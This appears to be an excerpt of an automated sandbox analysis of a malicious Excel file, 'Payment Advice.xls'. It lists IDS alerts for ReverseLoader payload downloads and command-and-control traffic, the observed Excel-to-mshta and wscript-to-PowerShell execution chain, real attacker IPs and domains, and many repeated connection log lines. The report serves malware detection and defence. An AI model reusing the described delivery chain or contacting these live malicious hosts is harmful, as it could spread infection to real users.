2024-10-25T19:48:03.143555+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:05.042808+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:06.193354+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:07.340179+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:09.129653+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:10.449357+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:11.574921+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:12.702426+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:13.818338+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:14.990332+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:16.113459+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:17.275374+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:18.375204+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:20.414608+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:21.661835+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:22.764766+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:23.900246+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:25.468506+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:26.635806+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:27.759681+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:29.516389+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:30.633390+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:32.209099+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:33.662009+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:34.906884+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:36.058065+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:37.216587+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:38.335924+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:39.495066+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:40.730504+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:41.853254+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:42.979309+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:44.455325+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:45.538198+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:46.666514+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:48.090331+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:28.559076+0200	2858295	1	A Network Trojan was detected	192.3.176.141	80	192.168.2.22	49175	TCP
2024-10-25T19:47:36.143260+0200	2858295	1	A Network Trojan was detected	192.3.176.141	80	192.168.2.22	49176	TCP

ETPRO MALWARE ReverseLoader Payload Request (GET) M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:21.045090+0200	2858796	1	A Network Trojan was detected	192.168.2.22	49175	192.3.176.141	80	TCP
2024-10-25T19:47:29.214898+0200	2858796	1	A Network Trojan was detected	192.168.2.22	49176	192.3.176.141	80	TCP

ETPRO MALWARE ReverseLoader Payload Request (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:46:42.802600+0200	2858795	1	A Network Trojan was detected	192.168.2.22	49165	192.3.176.141	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Payment Advice.xls

ReversingLabs: Detection: 18%

Machine Learning detection for sample

Source: Payment Advice.xls

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49169 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.pdbhP source: powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.pdb source: powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.pdbhP source: powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.pdb source: powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: qrisni.me
Source: global traffic	DNS query: name: qrisni.me
Source: global traffic	DNS query: name: qrisni.me
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
